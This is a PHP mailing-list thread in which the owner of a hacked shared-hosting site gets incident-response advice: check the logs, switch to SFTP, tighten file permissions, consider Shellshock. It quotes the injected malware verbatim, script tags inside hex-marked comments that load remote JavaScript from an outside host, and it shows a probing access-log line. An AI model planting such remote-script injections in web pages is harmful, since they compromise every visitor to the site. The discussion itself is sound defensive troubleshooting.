hacked!!

[Jim Giner]

My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access? I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.

Any advice appreciated.

[Marc Guay]

On what type of server is the site hosted?

[Jim Giner]

Post by Marc Guay
On what type of server is the site hosted?

shared hosting using linux

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 10:46:52 -0400
Subject: [PHP] hacked!!
My first time experiencing this. Suddenly Google has warned me
that my site is hacked and I have found a couple of files that
indeed did have some malicious code added to them. My question
here is: Does this mean someone figured out my site password in
order to gain ftp access? I am very careful of my passwords so
I'm shocked to see this happen. Any passwords stored in my files
are stored outside of the web-accessible tree so I am puzzled.
Any advice appreciated.

There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.

Note, the default ftp setup passes credentials (and data) in the
clear, so depending on where you use it it can be a source of a
compromise. Using an encrypted file transfer protocol, e.g., sftp or
scp, is recommended.


- Richard

[Jim Giner]

Post by Richard
There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

[Ashley Sheridan]

Post by Jim Giner

Post by Richard
There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

One possible (and likely vector) is tgurd-party plugins. For example, I had the same through a tinymce plugin vulnerability.

Thanks,
Ash

[Jim Lucas]

Post by Jim Giner

Post by Richard
There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

Jim, Richard was talking about when you log into FTP, the credentials are
passed from your PC to the server in plain text, unless you use one of the
protocols he mentioned.

As for searching for the vector of attack, you would use the file name,
directory, timestamp, owner name of the file or folder, etc... to search your
logs. The logs we are referring to are typically found in the /var/log/*
location. If you don't have access to that, you might want to talk with your
hosting provider.

What version of PHP does this box use?
What type of web service does it use? Apache, Lighttpd, etc...

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 11:07:52 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

The simple act of ftp-ing into a host, as you imply you do, (with
the default, insecure ftp setup) can expose your credentials.

Does this mean someone figured out my site password

When looking at logs, start by looking for actions that took place
around the time(s) that the files were placed on your system. As
there's no guarantee that the file timestamps are accurate, look at
the directory timestamps too (assuming you haven't touched things
there of late). In web server logs look for actions that are
"unusual" (not simple file retrieval, or whatever is standard on
your site). In system logs (which you may not have access too), look
for ftp logins that come from non-standard locations.

This is shared, not virtual, hosting - correct? With shared hosting
there can be higher-level issues if the overall hosting isn't
secured properly.


- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 11:07:52 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
There are a range of potential vectors, potentially including your
php code, so I would suggest looking at the server (both the web
server and system-level) logs to see if you can identify the
source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

The simple act of ftp-ing into a host, as you imply you do, (with
the default, insecure ftp setup) can expose your credentials.

Does this mean someone figured out my site password

When looking at logs, start by looking for actions that took place
around the time(s) that the files were placed on your system. As
there's no guarantee that the file timestamps are accurate, look at
the directory timestamps too (assuming you haven't touched things
there of late). In web server logs look for actions that are
"unusual" (not simple file retrieval, or whatever is standard on
your site). In system logs (which you may not have access too), look
for ftp logins that come from non-standard locations.
This is shared, not virtual, hosting - correct? With shared hosting
there can be higher-level issues if the overall hosting isn't
secured properly.
- Richard

All of this is way beyond my pay grade. Yes it is shared hosting that
is very reliable usually. First trouble in 10+ years.

Two files have been altered and replaced - both index.xxx files. Minor
insertion of some js code that called some other site.

Normal use of my site is to look at things, no uploads, no downloads, no
ftp-ing done except by me at my home. Yes - I can alter my filezilla to
use sftp I suppose but I'm still concerned in how to prevent this same
attack from occurring again today or tomorrow. Does this mean that I
should alter my master pswd for the site as well as any protected
folders I have setup in the webtree?

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 13:05:48 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 11:07:52 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
There are a range of potential vectors, potentially including
your php code, so I would suggest looking at the server (both
the web server and system-level) logs to see if you can
identify the source/manner.
- Richard

I have no files with passwords stored in the web accessible tree.
Also, I have no idea what to look for in any logs.

The simple act of ftp-ing into a host, as you imply you do, (with
the default, insecure ftp setup) can expose your credentials.

Does this mean someone figured out my site password

When looking at logs, start by looking for actions that took place
around the time(s) that the files were placed on your system. As
there's no guarantee that the file timestamps are accurate, look
at the directory timestamps too (assuming you haven't touched
things there of late). In web server logs look for actions that
are "unusual" (not simple file retrieval, or whatever is standard
on your site). In system logs (which you may not have access
too), look for ftp logins that come from non-standard locations.
This is shared, not virtual, hosting - correct? With shared
hosting there can be higher-level issues if the overall hosting
isn't secured properly.
- Richard

All of this is way beyond my pay grade. Yes it is shared hosting
that is very reliable usually. First trouble in 10+ years.
Two files have been altered and replaced - both index.xxx files.
Minor insertion of some js code that called some other site.
Normal use of my site is to look at things, no uploads, no
downloads, no ftp-ing done except by me at my home. Yes - I can
alter my filezilla to use sftp I suppose but I'm still concerned
in how to prevent this same attack from occurring again today or
tomorrow. Does this mean that I should alter my master pswd for
the site as well as any protected folders I have setup in the
webtree?

If you can't figure out what the vector was (or confirm what it
wasn't) then any suggestions made and anything you do is simply
guessing. Without any sense of what the issue(s) might be, there is
nothing that anyone can really suggest that will honestly keep this
from occurring again.

That said, I would strongly recommend that you switch to sftp (and
change your ftp password). That's a commonsense change that will
help to eliminate that vector, though that may not have been the
source of your current problem.

If it's "beyond [your] pay grade" then you should hire someone who
can do the forensics, if you care. [though in a shared hosting
environment getting to the necessary logs can be tricky.]

As a note, in this day and age, I strongly recommend against shared
hosting. There was a time when it was cost-effective, but at this
point in time, virtual hosting is a much better approach. With
virtual hosting you are rather more protected from others on the
same hardware and often have access to the logs, so can see what's
going on.


- Richard

[Jim Giner]

Post by Richard
As a note, in this day and age, I strongly recommend against shared
hosting. There was a time when it was cost-effective, but at this
point in time, virtual hosting is a much better approach. With
virtual hosting you are rather more protected from others on the
same hardware and often have access to the logs, so can see what's
going on.
- Richard

What is virtual hosting?

PS - I looked at a log but all that is there is references to every
access to every file in my domain. GET/POST/.... ips, files,
paths,blah blah blah.

What is one supposed to glean from this?

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 13:52:54 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
As a note, in this day and age, I strongly recommend against
shared hosting. There was a time when it was cost-effective, but
at this point in time, virtual hosting is a much better approach.
With virtual hosting you are rather more protected from others on
the same hardware and often have access to the logs, so can see
what's going on.
- Richard

What is virtual hosting?
PS - I looked at a log but all that is there is references to
every access to every file in my domain. GET/POST/.... ips,
files, paths,blah blah blah.
What is one supposed to glean from this?

Try doing a google search for shared vs. virtual hosting -- that
should return a number of pointers you can follow.

When looking at logs it helps greatly to have the timeframe narrowed
down as tightly as possible -- so that's generally the first task.
Then, in web server logs, look for things that are out of the norm
-- e.g., a POST that has an odd name (or the names of the files in
question), or GETs that have QUERY_STRING values. Note, if you don't
properly sanitize the input (QUERY_STRING) that you're pulling from
a GET or POST, that can potentially be used as a path for doing fun
things on a site.

You should also be looking at the server security-oriented logs. In
a shared-hosting environment you likely don't have access to them,
but once you've narrowed down the likely timeframe you can talk with
your hosting provider and have them look.


- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 13:52:54 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
As a note, in this day and age, I strongly recommend against
shared hosting. There was a time when it was cost-effective, but
at this point in time, virtual hosting is a much better approach.
With virtual hosting you are rather more protected from others on
the same hardware and often have access to the logs, so can see
what's going on.
- Richard

What is virtual hosting?
PS - I looked at a log but all that is there is references to
every access to every file in my domain. GET/POST/.... ips,
files, paths,blah blah blah.
What is one supposed to glean from this?

Try doing a google search for shared vs. virtual hosting -- that
should return a number of pointers you can follow.
When looking at logs it helps greatly to have the timeframe narrowed
down as tightly as possible -- so that's generally the first task.
Then, in web server logs, look for things that are out of the norm
-- e.g., a POST that has an odd name (or the names of the files in
question), or GETs that have QUERY_STRING values. Note, if you don't
properly sanitize the input (QUERY_STRING) that you're pulling from
a GET or POST, that can potentially be used as a path for doing fun
things on a site.
You should also be looking at the server security-oriented logs. In
a shared-hosting environment you likely don't have access to them,
but once you've narrowed down the likely timeframe you can talk with
your hosting provider and have them look.
- Richard

What is any log going to tell us? Only if it tells me exactly how they
got to my site will it be worthwhile. I really don't care who did it -
I just care how. That's not going to be in a log, is it?

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 15:18:53 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 13:52:54 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
As a note, in this day and age, I strongly recommend against
shared hosting. There was a time when it was cost-effective, but
at this point in time, virtual hosting is a much better
approach. With virtual hosting you are rather more protected
from others on the same hardware and often have access to the
logs, so can see what's going on.
- Richard

What is virtual hosting?
PS - I looked at a log but all that is there is references to
every access to every file in my domain. GET/POST/.... ips,
files, paths,blah blah blah.
What is one supposed to glean from this?

Try doing a google search for shared vs. virtual hosting -- that
should return a number of pointers you can follow.
When looking at logs it helps greatly to have the timeframe
narrowed down as tightly as possible -- so that's generally the
first task. Then, in web server logs, look for things that are
out of the norm -- e.g., a POST that has an odd name (or the
names of the files in question), or GETs that have QUERY_STRING
values. Note, if you don't properly sanitize the input
(QUERY_STRING) that you're pulling from a GET or POST, that can
potentially be used as a path for doing fun things on a site.
You should also be looking at the server security-oriented logs.
In a shared-hosting environment you likely don't have access to
them, but once you've narrowed down the likely timeframe you can
talk with your hosting provider and have them look.
- Richard

What is any log going to tell us? Only if it tells me exactly how
they got to my site will it be worthwhile. I really don't care
who did it - I just care how. That's not going to be in a log, is
it?

The web server logs likely won't show you explicitly how, but will
give you pointers of things to look at -- e.g., a php script where
the QUERY_STRING aren't being properly sanitized. With the system
security-related logs you'd be looking for accesses from
non-standard locations. That would probably point to the "simple"
issue of compromised ftp credentials. The problem is that in a
shared-hosting environment you may not be able to tell connections
to your content vs. that of some other user, making it harder to
figure out if that's the source.

Doing hacking forensics is not simple and you're unlikely to get
answers handed to you, but if you want to figure out the cause of
this hack, and fix it, then this is what's needed.


- Richard

[Omega -1911]

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 13:52:54 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
As a note, in this day and age, I strongly recommend against
shared hosting. There was a time when it was cost-effective, but
at this point in time, virtual hosting is a much better approach.
With virtual hosting you are rather more protected from others on
the same hardware and often have access to the logs, so can see
what's going on.
- Richard
What is virtual hosting?

PS - I looked at a log but all that is there is references to
every access to every file in my domain. GET/POST/.... ips,
files, paths,blah blah blah.
What is one supposed to glean from this?

Try doing a google search for shared vs. virtual hosting -- that
should return a number of pointers you can follow.
When looking at logs it helps greatly to have the timeframe narrowed
down as tightly as possible -- so that's generally the first task.
Then, in web server logs, look for things that are out of the norm
-- e.g., a POST that has an odd name (or the names of the files in
question), or GETs that have QUERY_STRING values. Note, if you don't
properly sanitize the input (QUERY_STRING) that you're pulling from
a GET or POST, that can potentially be used as a path for doing fun
things on a site.
You should also be looking at the server security-oriented logs. In
a shared-hosting environment you likely don't have access to them,
but once you've narrowed down the likely timeframe you can talk with
your hosting provider and have them look.
- Richard
What is any log going to tell us? Only if it tells me exactly how they

got to my site will it be worthwhile. I really don't care who did it - I
just care how. That's not going to be in a log, is it?
Yes it will. The one thing that I have not seen mentioned is if this could

be due to your hosting provider not installing the latest security updates.
Often, they don't. Here is an example of what I viewed in my logs today:

[149.210.135.28] - - [03/Oct/2014:12:20:56 -0400] "GET
/wp-content/plugins/wysija-newsletters/readme.txt HTTP/1.1" 404 - "-"
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8)
Gecko/20100722 Firefox/3.6.8"

1) If you look closely, the last line is a hack attempt. It was not
successful because I have firewall rules that monitor all incoming and
outgoing traffic.
2) On shared servers, another user on the site could have an insecure
script that allowed the hacker to gain access to your account or all
accounts hosted on the server.
3) If you use the command line, please note that others can see commands
being run by you or others.
4) Before you go changing passwords, it may be REALLY important to find out
HOW they did this, because the security hole may still be there.

[Jim Giner]

Post by Omega -1911

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 13:52:54 -0400
Subject: Re: [PHP] hacked!!

Post by Richard
As a note, in this day and age, I strongly recommend against
shared hosting. There was a time when it was cost-effective, but
at this point in time, virtual hosting is a much better approach.
With virtual hosting you are rather more protected from others on
the same hardware and often have access to the logs, so can see
what's going on.
- Richard
What is virtual hosting?

PS - I looked at a log but all that is there is references to
every access to every file in my domain. GET/POST/.... ips,
files, paths,blah blah blah.
What is one supposed to glean from this?

Try doing a google search for shared vs. virtual hosting -- that
should return a number of pointers you can follow.
When looking at logs it helps greatly to have the timeframe narrowed
down as tightly as possible -- so that's generally the first task.
Then, in web server logs, look for things that are out of the norm
-- e.g., a POST that has an odd name (or the names of the files in
question), or GETs that have QUERY_STRING values. Note, if you don't
properly sanitize the input (QUERY_STRING) that you're pulling from
a GET or POST, that can potentially be used as a path for doing fun
things on a site.
You should also be looking at the server security-oriented logs. In
a shared-hosting environment you likely don't have access to them,
but once you've narrowed down the likely timeframe you can talk with
your hosting provider and have them look.
- Richard
What is any log going to tell us? Only if it tells me exactly how they

got to my site will it be worthwhile. I really don't care who did it - I
just care how. That's not going to be in a log, is it?
Yes it will. The one thing that I have not seen mentioned is if this could

be due to your hosting provider not installing the latest security updates.
[149.210.135.28] - - [03/Oct/2014:12:20:56 -0400] "GET
/wp-content/plugins/wysija-newsletters/readme.txt HTTP/1.1" 404 - "-"
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8)
Gecko/20100722 Firefox/3.6.8"
1) If you look closely, the last line is a hack attempt. It was not
successful because I have firewall rules that monitor all incoming and
outgoing traffic.
2) On shared servers, another user on the site could have an insecure
script that allowed the hacker to gain access to your account or all
accounts hosted on the server.
3) If you use the command line, please note that others can see commands
being run by you or others.
4) Before you go changing passwords, it may be REALLY important to find out
HOW they did this, because the security hole may still be there.

What makes that last line a 'hack attempt'?

[Omega -1911]

Post by Jim Giner
What makes that last line a 'hack attempt'?

https://www.google.com/search?q=hack+wp-content%2Fplugins%2Fwysija-newsletters%2Freadme.txt&gws_rd=ssl

[e***@spinics.net]

Post by Omega -1911
https://www.google.com/search?q=hack+wp-content%2Fplugins%2Fwysija-newsletters%2Freadme.txt&gws_rd=ssl

It's not a hack attempt; it's just a probe looking for the plugin. The hacking
comes later.

--
http://www.spinics.net/lists/

[Christoph Becker]

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access?

No, but that is one possibility. Besides the risk that somebody might
have caught your password while it was being transferred as Richard
already pointed out, there might be some malware on your local machine
which has stolen the accound data.

Post by Jim Giner
I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.
Any advice appreciated.

As others have already pointed out: check your server logs for
suspicious requests.

[David OBrien]

Is this a wordpress site?

Post by Christoph Becker

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access?

No, but that is one possibility. Besides the risk that somebody might
have caught your password while it was being transferred as Richard
already pointed out, there might be some malware on your local machine
which has stolen the accound data.

Post by Jim Giner
I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.
Any advice appreciated.

As others have already pointed out: check your server logs for
suspicious requests.
--
Christoph M. Becker
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[Jim Giner]

Post by David OBrien
Is this a wordpress site?

Post by Christoph Becker

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access?

No, but that is one possibility. Besides the risk that somebody might
have caught your password while it was being transferred as Richard
already pointed out, there might be some malware on your local machine
which has stolen the accound data.

Post by Jim Giner
I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.
Any advice appreciated.

As others have already pointed out: check your server logs for
suspicious requests.
--
Christoph M. Becker
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

no

[Carlos Medina]

Hi Jim,
do this:

1.- Change your passwords
2.- Update or reinstall your Server
3.- Update your Software on the Server
4.- Dont forget to update ALL your certificates (ssl)
5.- Configure your Server and Software in the future better
7.- Be carefully with programming

Regards

Carlos

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access? I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.
Any advice appreciated.

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 21:24:52 +0200
Subject: [PHP] Re: hacked!!

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me
that my site is hacked and I have found a couple of files that
indeed did have some malicious code added to them. My question
here is: Does this mean someone figured out my site password in
order to gain ftp access? I am very careful of my passwords so
I'm shocked to see this happen. Any passwords stored in my files
are stored outside of the web-accessible tree so I am puzzled.
Any advice appreciated.

Hi Jim,
1.- Change your passwords
2.- Update or reinstall your Server
3.- Update your Software on the Server
4.- Dont forget to update ALL your certificates (ssl)
5.- Configure your Server and Software in the future better
7.- Be carefully with programming
Regards
Carlos

He's on shared hosting, so only some of these are options for him.
However, this does raise the issue that he should review all
directories/files (not forgetting to look for hidden
directories/files) that he controls on his site (including those
outside the web server tree) to make certain that nothing else has
been added/altered. Doing a full restore from a clean (before known
incident data) backup is generally the advised approach.

- Richard

[Jim Giner]

Post by Carlos Medina
Hi Jim,
1.- Change your passwords
2.- Update or reinstall your Server
3.- Update your Software on the Server
4.- Dont forget to update ALL your certificates (ssl)
5.- Configure your Server and Software in the future better
7.- Be carefully with programming
Regards
Carlos

Post by Jim Giner
My first time experiencing this. Suddenly Google has warned me that my
site is hacked and I have found a couple of files that indeed did have
some malicious code added to them. My question here is: Does this mean
someone figured out my site password in order to gain ftp access? I am
very careful of my passwords so I'm shocked to see this happen. Any
passwords stored in my files are stored outside of the web-accessible
tree so I am puzzled.
Any advice appreciated.

Thanks for all the tips.

1 - I do not run the server
2 - my site is properly programmed and secured.

[e***@spinics.net]

Post by Jim Giner
1 - I do not run the server
2 - my site is properly programmed and secured.

Are the files and directories in the document tree read-only for
the web server? If not, your site is not "properly programmed and
secured".

You got hacked, that alone says things aren't secure.

--
http://yosemitenews.info/

[Jim Giner]

Post by e***@spinics.net

Post by Jim Giner
1 - I do not run the server
2 - my site is properly programmed and secured.

Are the files and directories in the document tree read-only for
the web server? If not, your site is not "properly programmed and
secured".
You got hacked, that alone says things aren't secure.
--
http://yosemitenews.info/

And how do I know what the web server can do?

[e***@spinics.net]

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.

--
http://www.spinics.net/lists/

[Jim Giner]

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

None of my scripts do any file uploading (to the server). None.

I still don't know how I can tell what permissions the web server has.

[Jim Giner]

If anyone is interested here is what is being inserted into random html
and php files:

<!--f853a8--><script type="text/javascript"
src="http://hs-eventogbooking.dk/mytdhzzp.php?id=9625138"></script><!--/f853a8-->

and

<!--83b914--><script type="text/javascript"
src="http://n/mytdhzzp.php?id=9625233"></script><!--/83b914-->

[Kevin Kinsey]

Post by Jim Giner
If anyone is interested here is what is being inserted into random html
<!--f853a8--><script type="text/javascript"
src="http://hs-eventogbooking.dk/mytdhzzp.php?id=9625138"></script><!--/f853a8-->
and
<!--83b914--><script type="text/javascript"
src="http://n/mytdhzzp.php?id=9625233"></script><!--/83b914-->

Hi Jim,

Thanks for being open and sharing this information. I'm sorry I'm
late to the party.

IANAE on security, but I have some experience with forensics and
server administration as well as identifying attack vectors in
PHP and ColdFusion and mitigating them.

Off the top of my head, this *looks* a tad like code injection
via an unknown vector. By chance, are these code snippets attached
to the *end* of the files that contain them?

Keep copies of the infected files, with accurate timestamps for
the date of last modification.

If you can obtain server access logs, it would be prudent to search
them (with a "find" tool, like Unix 'grep' or the search features of
your favorite editor, for the strings in the HTML comment sections,
portions of the suspect URLs, etc.

Your web host will perhaps listen well if you pay them well, and the less
you pay them, the less likely they are to be concerned. However, I would open
a ticket and advise them of what has occurred. Ask them some questions,
like what kind of security software is installed on their shared server,
whether or not they monitor network traffic for suspect packets,
*whether or not the server is vulnerable to "bash shell shock" (CVE-2014-6271
and CVE-2014-7169) (also known as "bashdoor")*.

If your website has *no* third-party software built in, that's good news,
up to a point. It may indeed be that your code is "tough enough" and the
hole was not in your code. Given the severity of ShellShock and the fact
that your server contains other peoples' sites as well, which may have 3rd
party packages that are vulnerable, I might think rather seriously about
using a VM, as others have suggested, in the future if at all feasible.

Hope this helps,

Kevin Kinsey

[Jim Giner]

Post by Carlos Medina

Post by Jim Giner
If anyone is interested here is what is being inserted into random html
<!--f853a8--><script type="text/javascript"
src="http://hs-eventogbooking.dk/mytdhzzp.php?id=9625138"></script><!--/f853a8-->
and
<!--83b914--><script type="text/javascript"
src="http://n/mytdhzzp.php?id=9625233"></script><!--/83b914-->

Hi Jim,
Thanks for being open and sharing this information. I'm sorry I'm
late to the party.
IANAE on security, but I have some experience with forensics and
server administration as well as identifying attack vectors in
PHP and ColdFusion and mitigating them.
Off the top of my head, this *looks* a tad like code injection
via an unknown vector. By chance, are these code snippets attached
to the *end* of the files that contain them?
Keep copies of the infected files, with accurate timestamps for
the date of last modification.
If you can obtain server access logs, it would be prudent to search
them (with a "find" tool, like Unix 'grep' or the search features of
your favorite editor, for the strings in the HTML comment sections,
portions of the suspect URLs, etc.
Your web host will perhaps listen well if you pay them well, and the less
you pay them, the less likely they are to be concerned. However, I would open
a ticket and advise them of what has occurred. Ask them some questions,
like what kind of security software is installed on their shared server,
whether or not they monitor network traffic for suspect packets,
*whether or not the server is vulnerable to "bash shell shock" (CVE-2014-6271
and CVE-2014-7169) (also known as "bashdoor")*.
If your website has *no* third-party software built in, that's good news,
up to a point. It may indeed be that your code is "tough enough" and the
hole was not in your code. Given the severity of ShellShock and the fact
that your server contains other peoples' sites as well, which may have 3rd
party packages that are vulnerable, I might think rather seriously about
using a VM, as others have suggested, in the future if at all feasible.
Hope this helps,
Kevin Kinsey

I'm afraid I can't keep the info you mentioned since I already cleaned
this up. Yes - some of the problem was with large chunks of code at the
bottom of a couple of index.php files. Most of it was a small commented
out piece of <script> code that called some site in Germany. I have a
utility to scan every file in my domain that helped me find all the
occurrences (about 30) which I then updated after cleaning them.

Thanks for the tips tho.

[Richard]

------------ Original Message ------------

Date: Tuesday, October 07, 2014 20:36:00 -0400
Subject: Re: [PHP] Re: hacked!!

Post by Carlos Medina

Post by Jim Giner
If anyone is interested here is what is being inserted into
<!--f853a8--><script type="text/javascript"
src="http://hs-eventogbooking.dk/mytdhzzp.php?id=9625138"></scri
pt><!--/f853a8-->
and
<!--83b914--><script type="text/javascript"
src="http://n/mytdhzzp.php?id=9625233"></script><!--/83b914-->

Hi Jim,
Thanks for being open and sharing this information. I'm sorry I'm
late to the party.
IANAE on security, but I have some experience with forensics and
server administration as well as identifying attack vectors in
PHP and ColdFusion and mitigating them.
Off the top of my head, this *looks* a tad like code injection
via an unknown vector. By chance, are these code snippets
attached to the *end* of the files that contain them?
Keep copies of the infected files, with accurate timestamps for
the date of last modification.
If you can obtain server access logs, it would be prudent to
search them (with a "find" tool, like Unix 'grep' or the search
features of your favorite editor, for the strings in the HTML
comment sections, portions of the suspect URLs, etc.
Your web host will perhaps listen well if you pay them well, and
the less you pay them, the less likely they are to be concerned.
However, I would open a ticket and advise them of what has
occurred. Ask them some questions, like what kind of security
software is installed on their shared server, whether or not they
monitor network traffic for suspect packets, *whether or not the
server is vulnerable to "bash shell shock" (CVE-2014-6271 and
CVE-2014-7169) (also known as "bashdoor")*.
If your website has *no* third-party software built in, that's
good news, up to a point. It may indeed be that your code is
"tough enough" and the hole was not in your code. Given the
severity of ShellShock and the fact that your server contains
other peoples' sites as well, which may have 3rd party packages
that are vulnerable, I might think rather seriously about using a
VM, as others have suggested, in the future if at all feasible.
Hope this helps,
Kevin Kinsey

I'm afraid I can't keep the info you mentioned since I already
cleaned this up. Yes - some of the problem was with large chunks
of code at the bottom of a couple of index.php files. Most of it
was a small commented out piece of <script> code that called some
site in Germany. I have a utility to scan every file in my domain
that helped me find all the occurrences (about 30) which I then
updated after cleaning them.
Thanks for the tips tho.

When dealing with a hacked site it is always best to snapshot the
whole site - not limiting to the documentroot -- making certain to
preserve everything including file dates/times, permissions,
ownerships, etc., and capturing any hidden directories or files (a
common method for leaving backdoors) - before cleaning anything up.
That way there is something that can be reviewed at a later stage.

If you haven't been able to pinpoint the source of the intrusion, I
would suggest using your utility to scan your site on a very regular
basis.


- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Tuesday, October 07, 2014 20:36:00 -0400
Subject: Re: [PHP] Re: hacked!!

Post by Carlos Medina

Post by Jim Giner
If anyone is interested here is what is being inserted into
<!--f853a8--><script type="text/javascript"
src="http://hs-eventogbooking.dk/mytdhzzp.php?id=9625138"></scri
pt><!--/f853a8-->
and
<!--83b914--><script type="text/javascript"
src="http://n/mytdhzzp.php?id=9625233"></script><!--/83b914-->

Hi Jim,
Thanks for being open and sharing this information. I'm sorry I'm
late to the party.
IANAE on security, but I have some experience with forensics and
server administration as well as identifying attack vectors in
PHP and ColdFusion and mitigating them.
Off the top of my head, this *looks* a tad like code injection
via an unknown vector. By chance, are these code snippets
attached to the *end* of the files that contain them?
Keep copies of the infected files, with accurate timestamps for
the date of last modification.
If you can obtain server access logs, it would be prudent to
search them (with a "find" tool, like Unix 'grep' or the search
features of your favorite editor, for the strings in the HTML
comment sections, portions of the suspect URLs, etc.
Your web host will perhaps listen well if you pay them well, and
the less you pay them, the less likely they are to be concerned.
However, I would open a ticket and advise them of what has
occurred. Ask them some questions, like what kind of security
software is installed on their shared server, whether or not they
monitor network traffic for suspect packets, *whether or not the
server is vulnerable to "bash shell shock" (CVE-2014-6271 and
CVE-2014-7169) (also known as "bashdoor")*.
If your website has *no* third-party software built in, that's
good news, up to a point. It may indeed be that your code is
"tough enough" and the hole was not in your code. Given the
severity of ShellShock and the fact that your server contains
other peoples' sites as well, which may have 3rd party packages
that are vulnerable, I might think rather seriously about using a
VM, as others have suggested, in the future if at all feasible.
Hope this helps,
Kevin Kinsey

I'm afraid I can't keep the info you mentioned since I already
cleaned this up. Yes - some of the problem was with large chunks
of code at the bottom of a couple of index.php files. Most of it
was a small commented out piece of <script> code that called some
site in Germany. I have a utility to scan every file in my domain
that helped me find all the occurrences (about 30) which I then
updated after cleaning them.
Thanks for the tips tho.

When dealing with a hacked site it is always best to snapshot the
whole site - not limiting to the documentroot -- making certain to
preserve everything including file dates/times, permissions,
ownerships, etc., and capturing any hidden directories or files (a
common method for leaving backdoors) - before cleaning anything up.
That way there is something that can be reviewed at a later stage.
If you haven't been able to pinpoint the source of the intrusion, I
would suggest using your utility to scan your site on a very regular
basis.
- Richard

And that I am doing. And I am learning.

[Richard]

------------ Original Message ------------

Date: Friday, October 03, 2014 19:51:59 -0400
Subject: Re: [PHP] Re: hacked!!

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

None of my scripts do any file uploading (to the server). None.
I still don't know how I can tell what permissions the web server has.

There is no requirement that your scripts (be programmed to) upload
files. All it takes is for you to have a poorly written php script,
e.g., perhaps something where you don't properly/fully sanitize
values you pick up from the QUERY_STRING, for a hacker to be able to
modify a file (assuming that the file permissions are set
inappropriately).

What are the ownerships and permissions on the directories and files
under your web root?

- Richard

[Jim Giner]

Post by Richard
------------ Original Message ------------

Date: Friday, October 03, 2014 19:51:59 -0400
Subject: Re: [PHP] Re: hacked!!

Post by e***@spinics.net

Post by Jim Giner
And how do I know what the web server can do?

The web server *executes* PHP scripts. Most likely one or
more of those scripts has a bug that was used to write
files into your document tree. Your document tree should
not be writable but most likely is.
--
http://www.spinics.net/lists/

